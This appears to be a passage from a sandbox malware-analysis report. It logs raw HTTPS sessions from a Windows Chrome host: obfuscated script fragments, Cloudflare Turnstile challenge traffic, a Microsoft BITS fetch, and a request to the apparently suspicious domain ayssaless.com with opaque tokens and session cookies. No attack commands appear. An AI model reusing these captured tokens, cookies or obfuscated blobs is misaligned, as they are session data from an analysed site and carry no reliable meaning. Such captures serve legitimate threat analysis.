2024-07-03 21:50:07 UTC	1369	IN	Data Raw: 6e 5b 69 7a 28 38 35 34 29 5d 3d 69 7a 28 31 33 38 30 29 2c 67 6e 5b 69 7a 28 36 36 38 29 5d 3d 69 7a 28 32 31 35 37 29 2c 67 6e 5b 69 7a 28 31 39 31 32 29 5d 3d 69 7a 28 32 31 38 39 29 2c 67 6e 5b 69 7a 28 32 31 35 36 29 5d 3d 69 7a 28 35 34 35 29 2c 67 6e 5b 69 7a 28 36 35 34 29 5d 3d 69 7a 28 31 30 35 35 29 2c 67 6e 5b 69 7a 28 38 34 38 29 5d 3d 69 7a 28 31 30 33 33 29 2c 67 6e 5b 69 7a 28 31 32 35 36 29 5d 3d 69 7a 28 31 32 34 38 29 2c 67 6e 5b 69 7a 28 37 31 33 29 5d 3d 69 7a 28 32 31 37 32 29 2c 67 6e 5b 69 7a 28 31 39 36 38 29 5d 3d 69 7a 28 33 37 31 29 2c 67 6e 5b 69 7a 28 38 34 34 29 5d 3d 69 7a 28 33 31 37 29 2c 67 6e 5b 69 7a 28 36 35 36 29 5d 3d 69 7a 28 35 33 33 29 2c 67 6e 5b 69 7a 28 31 32 37 36 29 5d 3d 69 7a 28 31 39 39 39 29 2c 67 6e 5b Data Ascii: n[iz(854)]=iz(1380),gn[iz(668)]=iz(2157),gn[iz(1912)]=iz(2189),gn[iz(2156)]=iz(545),gn[iz(654)]=iz(1055),gn[iz(848)]=iz(1033),gn[iz(1256)]=iz(1248),gn[iz(713)]=iz(2172),gn[iz(1968)]=iz(371),gn[iz(844)]=iz(317),gn[iz(656)]=iz(533),gn[iz(1276)]=iz(1999),gn[
2024-07-03 21:50:07 UTC	1369	IN	Data Raw: 69 7a 28 36 31 34 29 5d 3d 69 7a 28 32 33 33 37 29 2c 67 71 5b 69 7a 28 36 33 35 29 5d 3d 69 7a 28 31 33 34 33 29 2c 67 71 5b 69 7a 28 31 32 30 30 29 5d 3d 69 7a 28 31 32 32 31 29 2c 67 72 3d 7b 7d 2c 67 72 5b 69 7a 28 31 31 35 33 29 5d 3d 69 7a 28 34 33 39 29 2c 67 72 5b 69 7a 28 38 35 34 29 5d 3d 69 7a 28 35 39 36 29 2c 67 72 5b 69 7a 28 36 36 38 29 5d 3d 69 7a 28 31 30 30 33 29 2c 67 72 5b 69 7a 28 31 39 31 32 29 5d 3d 69 7a 28 31 33 37 35 29 2c 67 72 5b 69 7a 28 32 31 35 36 29 5d 3d 69 7a 28 32 32 39 34 29 2c 67 72 5b 69 7a 28 36 35 34 29 5d 3d 69 7a 28 31 39 33 38 29 2c 67 72 5b 69 7a 28 38 34 38 29 5d 3d 69 7a 28 31 36 30 33 29 2c 67 72 5b 69 7a 28 31 32 35 36 29 5d 3d 69 7a 28 31 34 37 30 29 2c 67 72 5b 69 7a 28 37 31 33 29 5d 3d 69 7a 28 32 31 34 Data Ascii: iz(614)]=iz(2337),gq[iz(635)]=iz(1343),gq[iz(1200)]=iz(1221),gr={},gr[iz(1153)]=iz(439),gr[iz(854)]=iz(596),gr[iz(668)]=iz(1003),gr[iz(1912)]=iz(1375),gr[iz(2156)]=iz(2294),gr[iz(654)]=iz(1938),gr[iz(848)]=iz(1603),gr[iz(1256)]=iz(1470),gr[iz(713)]=iz(214

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:07 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:07 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 89da16e128bb7d26-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:07 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-03 21:50:07 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=65947 Date: Wed, 03 Jul 2024 21:50:07 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-03 21:50:07 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:08 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:08 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:08 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 89da16e52b3b4356-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:08 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:09 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2803 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 874531de73a4462 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:09 UTC	2803	OUT	Data Raw: 76 5f 38 39 64 61 31 36 64 61 64 38 64 37 34 32 34 33 3d 38 34 72 45 73 45 59 45 51 45 64 45 55 45 49 47 69 37 47 69 62 51 53 62 53 6b 33 39 53 33 69 53 51 77 6b 32 72 78 69 4a 77 69 57 51 31 6b 6c 34 53 41 69 76 47 49 4e 62 33 62 53 43 6f 45 57 45 36 69 53 4f 69 78 78 33 55 62 69 6f 25 32 62 4d 63 69 75 79 34 69 2b 69 53 34 53 68 32 78 53 57 75 55 69 69 55 63 69 6c 45 72 4e 7a 77 69 77 51 36 59 6e 33 42 63 73 30 77 42 69 31 49 31 38 2d 36 73 34 78 6f 5a 44 7a 45 69 63 69 34 45 31 63 62 37 6c 45 69 31 42 4a 32 62 24 31 47 78 63 31 7a 69 6a 46 53 54 69 53 43 4c 69 69 4f 69 37 72 64 55 69 48 63 69 6a 72 69 41 54 45 6f 45 4a 69 6f 69 6a 39 6b 24 69 69 7a 69 77 4f 4a 4a 69 69 48 38 69 53 67 43 71 75 55 38 33 4e 50 4e 56 71 69 6d 56 34 46 69 31 35 57 69 53 4f Data Ascii: v_89da16dad8d74243=84rEsEYEQEdEUEIGi7GibQSbSk39S3iSQwk2rxiJwiWQ1kl4SAivGINb3bSCoEWE6iSOixx3Ubio%2bMciuy4i+iS4Sh2xSWuUiiUcilErNzwiwQ6Yn3Bcs0wBi1I18-6s4xoZDzEici4E1cb7lEi1BJ2b$1Gxc1zijFSTiSCLiiOi7rdUiHcijriATEoEJioij9k$iiziwOJJiiH8iSgCquU83NPNVqimV4Fi15WiSO
2024-07-03 21:50:09 UTC	771	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:09 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 131888 Connection: close cf-chl-gen: kgTiw5u7idPYN0hhN9c6g5BjVeClvmXmEt9sbiY7AhRLqkZDuhSIzHshAeRBgxqlXGOyT1NXI/6FLevYYZHNfikXJFFJ8dRQfKqcjTBeJiIiVaNy+2Z90SqSxVG7K7KjyuoxDBAkhZSW9InpeJbc19Vl1CpFhZxEieRqL7nNx9o1BjuI6bIB3bHnm27XgaddQsb/CGRB3CALFpZtWZZE9rI8Qc0Av6qB/6ARtOOphPB4MvgLfurt1rxTPci3hfKjVWNVvyhwGadVxdGK09Br63FM/qn4PkwM6FfcgdTiI7cRn3wfR+XsjZqA2GpFB3ImSJL1klGqcNe0k55JpYICNuN/GZ7hk/quwxus3FzvSpqiTZyLc5stw1nKFo4/q3FXisJEjZm9pWvxRnVIoh/VNTmPYfSBrverZqXNOni9+i8k0WntObO7f8nSD3KPb/hNlKvrycJaKLLIqRNtPKoY8hocftcQi5TLog+cv8kklYxm7Xub9f5To0O6+jJXErgk$sJTeVk5JmoEuvXFFk0aeyg== Server: cloudflare CF-RAY: 89da16ebcbc80cc1-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:09 UTC	598	IN	Data Raw: 75 33 70 2f 73 38 4f 52 6b 6e 6d 68 6b 37 2b 38 6c 6f 4f 76 72 64 47 4f 77 73 69 4f 71 63 71 32 72 59 2b 69 79 37 54 58 76 4a 75 62 79 39 66 56 30 72 4f 38 74 4e 50 6b 79 39 58 48 34 4d 50 41 7a 62 37 79 72 64 37 74 79 63 48 52 2b 75 33 6e 30 75 36 31 79 37 73 41 37 37 7a 6b 78 65 58 6d 77 4e 34 41 35 38 58 34 7a 4f 77 52 41 77 44 4b 35 41 6a 70 38 78 66 72 48 50 59 61 32 4f 63 52 45 77 45 4d 41 66 37 79 41 41 4d 48 39 67 51 46 42 79 63 61 4a 43 63 72 45 42 51 4b 41 50 59 59 44 67 51 74 4c 78 73 49 4c 67 6b 59 4c 68 63 67 42 54 6b 76 2f 6b 67 4a 41 52 35 4e 49 30 4e 52 43 68 78 4e 54 6b 46 41 56 30 4e 4b 57 52 6f 57 54 44 4e 58 51 44 45 75 4e 54 64 54 55 55 51 2f 51 6c 78 57 53 45 6c 4b 54 79 4a 4c 5a 47 5a 6c 64 45 70 32 59 6b 45 34 61 44 78 56 50 56 4a Data Ascii: u3p/s8ORknmhk7+8loOvrdGOwsiOqcq2rY+iy7TXvJuby9fV0rO8tNPky9XH4MPAzb7yrd7tycHR+u3n0u61y7sA77zkxeXmwN4A58X4zOwRAwDK5Ajp8xfrHPYa2OcREwEMAf7yAAMH9gQFBycaJCcrEBQKAPYYDgQtLxsILgkYLhcgBTkv/kgJAR5NI0NRChxNTkFAV0NKWRoWTDNXQDEuNTdTUUQ/QlxWSElKTyJLZGZldEp2YkE4aDxVPVJ
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 35 35 4f 7a 78 4f 5a 59 52 37 69 56 56 32 69 31 39 70 53 30 64 6b 6b 56 4a 75 6b 6d 42 51 63 59 6d 4b 5a 4a 4f 56 6a 36 43 56 6b 33 78 74 64 48 65 6d 66 6f 61 67 66 4a 68 37 6d 5a 64 2b 6d 36 5a 74 6f 49 6c 79 72 4a 47 56 6a 6e 6d 4c 65 36 6d 30 6e 33 4f 38 6d 4d 43 30 70 6f 5a 2f 6d 72 65 34 76 6f 61 6f 6e 73 2b 76 6b 4e 4b 6d 74 61 48 4b 71 37 61 5a 72 71 33 55 78 73 2b 72 6f 62 4c 65 72 4a 66 61 74 35 72 6a 6f 74 66 4e 36 62 6d 36 78 4c 48 67 71 38 48 4a 31 65 54 4c 7a 4b 7a 4a 74 4e 50 65 76 64 37 4f 2f 4d 44 34 34 64 62 7a 38 64 6e 54 32 77 61 2f 2b 2b 76 76 35 52 50 4b 45 68 59 4f 30 78 67 61 30 75 6e 78 38 76 7a 74 38 67 49 44 34 67 49 43 34 68 4c 65 2f 41 51 43 42 79 51 47 37 2b 30 72 46 41 67 49 42 67 62 78 4f 51 30 71 42 53 34 30 39 50 73 34 4f Data Ascii: 55OzxOZYR7iVV2i19pS0dkkVJukmBQcYmKZJOVj6CVk3xtdHemfoagfJh7mZd+m6ZtoIlyrJGVjnmLe6m0n3O8mMC0poZ/mre4voaons+vkNKmtaHKq7aZrq3Uxs+robLerJfat5rjotfN6bm6xLHgq8HJ1eTLzKzJtNPevd7O/MD44dbz8dnT2wa/++vv5RPKEhYO0xga0unx8vzt8gID4gIC4hLe/AQCByQG7+0rFAgIBgbxOQ0qBS409Ps4O
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 35 52 34 56 71 59 6f 61 43 62 45 4e 2b 61 33 4a 66 59 46 4e 6f 6b 49 6d 59 6d 35 5a 70 6c 6e 4a 32 62 48 79 43 59 35 42 6d 57 71 69 57 61 34 74 72 67 70 31 77 73 4b 75 71 6b 48 4e 32 70 4c 4f 43 74 34 4f 34 6c 59 5a 31 77 4a 53 61 66 63 4f 75 6b 49 4f 51 6c 48 79 47 78 71 69 38 68 38 75 74 6a 62 75 30 76 38 75 31 69 73 4b 74 6c 4e 6a 4f 76 4a 6e 54 6d 4f 44 41 31 61 4f 36 31 36 44 43 70 73 72 42 72 64 66 6c 72 4b 33 64 30 71 79 76 33 39 57 30 77 72 72 34 2f 62 71 33 35 39 33 65 34 62 37 69 7a 73 50 6d 42 75 72 47 43 66 6b 45 79 39 7a 78 78 77 44 79 44 39 50 51 30 76 49 52 39 76 59 62 2f 68 4d 41 30 76 6b 57 44 78 30 61 39 2b 41 43 48 79 66 35 41 65 50 39 36 69 55 6a 4a 65 30 4f 4c 66 45 31 39 68 49 32 48 51 6b 5a 44 43 38 68 48 52 45 4e 4f 79 63 55 45 41 Data Ascii: 5R4VqYoaCbEN+a3JfYFNokImYm5ZplnJ2bHyCY5BmWqiWa4trgp1wsKuqkHN2pLOCt4O4lYZ1wJSafcOukIOQlHyGxqi8h8utjbu0v8u1isKtlNjOvJnTmODA1aO616DCpsrBrdflrK3d0qyv39W0wrr4/bq3593e4b7izsPmBurGCfkEy9zxxwDyD9PQ0vIR9vYb/hMA0vkWDx0a9+ACHyf5AeP96iUjJe0OLfE19hI2HQkZDC8hHRENOycUEA
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 65 32 5a 74 68 6f 61 4c 63 56 4b 48 63 6e 6c 35 61 31 57 65 6a 59 68 2f 61 35 4e 65 6f 4a 32 52 57 70 36 57 6d 49 4f 65 64 6d 36 46 63 4b 46 2f 6c 61 69 49 6b 4b 2b 4f 63 4a 4f 71 76 48 71 53 77 4c 57 35 76 4c 53 43 77 35 57 41 67 38 57 42 69 62 71 58 76 36 57 6f 6a 4c 4b 78 6e 35 44 50 73 4b 61 77 72 38 53 54 30 38 32 33 6b 36 43 77 78 62 32 79 76 65 53 37 75 37 50 55 7a 62 66 66 71 4f 6a 64 33 4f 37 78 78 62 66 4f 74 75 37 33 73 39 66 4a 2f 65 48 79 33 4e 76 33 34 51 48 69 36 41 58 70 39 63 77 42 34 2b 45 51 42 74 72 4c 35 51 44 71 37 77 58 6b 44 74 63 46 38 68 49 42 45 76 58 64 48 50 54 68 34 50 54 78 43 67 77 70 48 42 6b 6a 36 41 55 64 4a 41 63 6f 4a 51 6f 42 45 76 51 72 48 44 45 71 4c 79 73 39 4c 6a 63 73 45 79 59 37 50 6a 59 6a 42 50 31 42 4c 6a 77 Data Ascii: e2ZthoaLcVKHcnl5a1WejYh/a5NeoJ2RWp6WmIOedm6FcKF/laiIkK+OcJOqvHqSwLW5vLSCw5WAg8WBibqXv6WojLKxn5DPsKawr8ST0823k6Cwxb2yveS7u7PUzbffqOjd3O7xxbfOtu73s9fJ/eHy3Nv34QHi6AXp9cwB4+EQBtrL5QDq7wXkDtcF8hIBEvXdHPTh4PTxCgwpHBkj6AUdJAcoJQoBEvQrHDEqLys9LjcsEyY7PjYjBP1BLjw
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 6f 32 42 63 4a 6c 36 63 35 69 49 6e 46 70 74 61 6c 31 67 59 46 35 36 66 58 39 31 67 61 47 58 6f 49 4f 6a 69 58 42 2f 62 4b 53 31 66 34 32 33 6a 72 53 73 6a 58 61 2b 75 49 36 51 66 38 4a 2f 67 71 4b 51 76 63 53 71 78 36 69 6c 6a 49 6d 68 72 73 47 55 70 49 36 6c 79 4a 4b 73 6f 35 7a 4d 32 62 54 4e 6d 4d 79 75 6f 4c 66 54 33 36 50 67 34 2b 48 4c 31 71 66 6e 70 38 6a 4d 30 75 54 66 38 74 47 77 30 4e 71 7a 36 62 6e 30 7a 76 43 39 31 51 50 41 77 66 6e 78 33 4d 58 68 32 4e 51 46 35 4e 73 50 43 4f 58 4a 31 50 45 53 46 65 33 4c 31 75 66 36 35 52 62 30 46 68 50 78 34 2b 48 65 46 69 63 4a 32 2b 6e 64 2b 69 48 2b 48 52 48 39 38 69 45 43 42 67 30 4d 4b 6a 4d 50 2b 6a 73 2f 48 78 45 75 39 77 2f 31 52 52 38 31 46 7a 4d 65 43 6b 70 4d 43 52 74 52 55 68 73 68 51 7a 4a 50 Data Ascii: o2BcJl6c5iInFptal1gYF56fX91gaGXoIOjiXB/bKS1f423jrSsjXa+uI6Qf8J/gqKQvcSqx6iljImhrsGUpI6lyJKso5zM2bTNmMyuoLfT36Pg4+HL1qfnp8jM0uTf8tGw0Nqz6bn0zvC91QPAwfnx3MXh2NQF5NsPCOXJ1PESFe3L1uf65Rb0FhPx4+HeFicJ2+nd+iH+HRH98iECBg0MKjMP+js/HxEu9w/1RR81FzMeCkpMCRtRUhshQzJP
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 32 64 6d 58 42 35 6b 6f 2b 69 6b 70 39 39 5a 36 61 4c 6e 5a 56 33 65 33 69 71 6f 36 43 4f 69 47 36 47 6a 59 53 76 6c 4c 4b 55 64 4a 2b 38 6a 4a 61 57 6c 35 2b 63 78 63 43 49 78 70 53 6b 75 36 4f 48 69 59 2f 53 72 34 6e 46 79 35 50 54 78 64 54 49 75 4d 36 32 74 4c 79 37 6d 4d 32 65 72 5a 33 54 32 36 69 6e 70 4f 4b 30 70 63 6d 68 35 75 2f 69 79 62 2f 78 35 4d 7a 6d 36 72 50 7a 7a 4e 72 6e 2f 4c 2f 56 2f 66 58 59 33 73 62 79 31 4e 62 36 35 38 67 50 33 2b 7a 36 45 4e 77 4d 36 76 30 4d 44 2f 49 45 45 75 77 52 2b 42 30 5a 39 65 2f 68 41 50 30 54 2f 69 63 68 41 79 45 69 33 67 6b 6c 41 50 41 76 49 77 54 6d 42 53 6a 79 49 53 67 44 4c 6a 77 48 44 6a 59 31 44 7a 54 36 4c 2f 77 59 49 69 55 6f 53 52 77 61 44 69 55 78 4c 6b 46 54 4c 30 70 4a 50 7a 4d 6a 4e 51 30 73 57 Data Ascii: 2dmXB5ko+ikp99Z6aLnZV3e3iqo6COiG6GjYSvlLKUdJ+8jJaWl5+cxcCIxpSku6OHiY/Sr4nFy5PTxdTIuM62tLy7mM2erZ3T26inpOK0pcmh5u/iyb/x5Mzm6rPzzNrn/L/V/fXY3sby1Nb658gP3+z6ENwM6v0MD/IEEuwR+B0Z9e/hAP0T/ichAyEi3gklAPAvIwTmBSjyISgDLjwHDjY1DzT6L/wYIiUoSRwaDiUxLkFTL0pJPzMjNQ0sW
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 56 58 48 65 59 66 4b 56 36 6c 4b 65 4b 6e 4b 53 46 63 4c 47 66 63 72 43 4b 62 37 53 35 68 72 57 6d 65 35 71 38 6a 6f 32 75 6f 71 4a 2b 73 37 75 38 6c 61 43 5a 72 59 53 35 6a 72 33 4d 6b 61 6d 54 31 61 36 72 74 38 7a 56 71 74 33 58 75 70 72 4e 33 62 50 63 75 4e 53 35 30 74 57 6a 36 4d 58 6f 76 62 2f 6f 79 75 54 77 31 4f 4c 42 37 2b 71 77 73 74 4c 78 2b 75 58 57 36 38 44 74 31 4f 53 2f 39 65 50 53 2b 4f 58 47 32 72 37 2b 44 63 66 67 44 65 72 68 37 65 33 4d 7a 51 76 76 43 4f 58 57 36 66 73 62 39 39 37 63 47 78 48 30 41 51 48 78 36 41 4d 56 42 77 48 6d 43 52 34 7a 36 75 34 69 39 41 4d 6f 4b 54 59 30 2b 7a 6e 76 4f 51 44 32 44 55 41 4d 4a 69 41 54 47 50 70 45 4e 68 67 4d 48 54 30 5a 52 6b 78 42 55 7a 52 4c 54 53 39 44 4c 6a 73 61 57 69 31 64 4c 54 31 63 4f 79 Data Ascii: VXHeYfKV6lKeKnKSFcLGfcrCKb7S5hrWme5q8jo2uoqJ+s7u8laCZrYS5jr3MkamT1a6rt8zVqt3XuprN3bPcuNS50tWj6MXovb/oyuTw1OLB7+qwstLx+uXW68Dt1OS/9ePS+OXG2r7+DcfgDerh7e3MzQvvCOXW6fsb997cGxH0AQHx6AMVBwHmCR4z6u4i9AMoKTY0+znvOQD2DUAMJiATGPpENhgMHT0ZRkxBUzRLTS9DLjsaWi1dLT1cOy
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 69 48 6c 2b 69 32 75 46 70 4a 32 42 62 71 56 73 69 4b 43 6f 72 59 79 34 73 59 6d 58 66 4a 31 38 73 37 43 56 6f 72 72 43 79 4a 62 44 6f 72 58 42 79 71 36 38 77 73 75 70 74 4b 65 79 72 4a 53 6b 72 5a 6e 62 31 35 6d 76 7a 4c 53 7a 7a 37 37 53 6d 65 50 46 32 72 75 71 75 73 75 2f 77 2b 2f 6e 39 4f 54 42 35 75 62 33 78 4c 6a 56 78 2f 61 35 7a 64 76 62 2f 66 4c 56 39 64 33 6c 31 4e 4c 36 32 39 30 47 42 4d 6a 47 32 67 38 54 33 64 4c 70 31 75 6a 35 44 66 59 63 44 4f 76 33 45 68 50 75 2b 68 76 77 45 53 49 64 43 66 63 5a 2b 77 73 65 43 78 49 4b 38 4f 34 53 4c 43 67 5a 46 78 6f 6b 4e 52 49 53 39 68 44 37 46 78 55 31 46 78 74 47 4b 42 6b 70 42 30 59 61 4c 53 41 71 49 67 35 43 52 43 49 53 52 6b 49 71 51 79 78 53 4b 54 51 62 50 6a 4e 65 51 55 55 31 4f 57 49 36 5a 45 64 Data Ascii: iHl+i2uFpJ2BbqVsiKCorYy4sYmXfJ18s7CVorrCyJbDorXByq68wsuptKeyrJSkrZnb15mvzLSzz77SmePF2ruqusu/w+/n9OTB5ub3xLjVx/a5zdvb/fLV9d3l1NL6290GBMjG2g8T3dLp1uj5DfYcDOv3EhPu+hvwESIdCfcZ+wseCxIK8O4SLCgZFxokNRIS9hD7FxU1FxtGKBkpB0YaLSAqIg5CRCISRkIqQyxSKTQbPjNeQUU1OWI6ZEd
2024-07-03 21:50:09 UTC	1369	IN	Data Raw: 4b 71 73 70 61 65 7a 6e 36 53 58 6b 4a 47 4e 66 58 42 38 66 70 69 43 77 37 6d 75 77 35 6a 43 6d 34 69 6a 68 36 32 5a 70 38 61 68 6f 38 76 46 6f 6f 79 79 79 63 65 34 73 73 57 75 79 70 58 66 31 70 75 37 74 39 2f 45 76 38 61 30 70 74 33 6a 77 73 6d 37 35 61 2b 74 7a 2b 76 52 36 75 76 4b 38 74 53 74 38 4e 54 35 7a 76 4c 78 77 4d 2b 36 32 4c 2f 62 2f 65 62 45 42 67 4c 37 79 4f 54 4b 2b 63 76 69 39 66 50 71 44 77 66 78 30 52 49 52 2f 4f 62 56 37 68 67 4e 46 53 54 68 49 2f 6b 65 45 69 6b 45 47 2f 6f 61 42 4f 49 51 2b 2f 7a 72 38 6a 51 78 43 41 49 32 44 6a 6f 47 4e 79 6a 35 50 44 77 43 45 79 45 66 2f 6a 67 2b 52 53 6c 44 42 52 6b 68 44 6b 42 45 44 78 38 7a 53 42 51 6e 52 46 45 74 4c 78 41 7a 4c 57 42 67 46 53 78 6b 50 30 63 7a 4e 6a 70 5a 52 55 4a 68 62 32 68 49 Data Ascii: Kqspaezn6SXkJGNfXB8fpiCw7muw5jCm4ijh62Zp8aho8vFooyyyce4ssWuypXf1pu7t9/Ev8a0pt3jwsm75a+tz+vR6uvK8tSt8NT5zvLxwM+62L/b/ebEBgL7yOTK+cvi9fPqDwfx0RIR/ObV7hgNFSThI/keEikEG/oaBOIQ+/zr8jQxCAI2DjoGNyj5PDwCEyEf/jg+RSlDBRkhDkBEDx8zSBQnRFEtLxAzLWBgFSxkP0czNjpZRUJhb2hI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49749	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:09 UTC	785	OUT	GET /favicon.ico HTTP/1.1 Host: ayssaless.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
2024-07-03 21:50:09 UTC	122	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 03 Jul 2024 21:50:09 GMT Connection: close Transfer-Encoding: chunked
2024-07-03 21:50:09 UTC	33	IN	Data Raw: 31 36 0d 0a 3c 68 31 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 68 31 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16<h1>Access Denied</h1>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
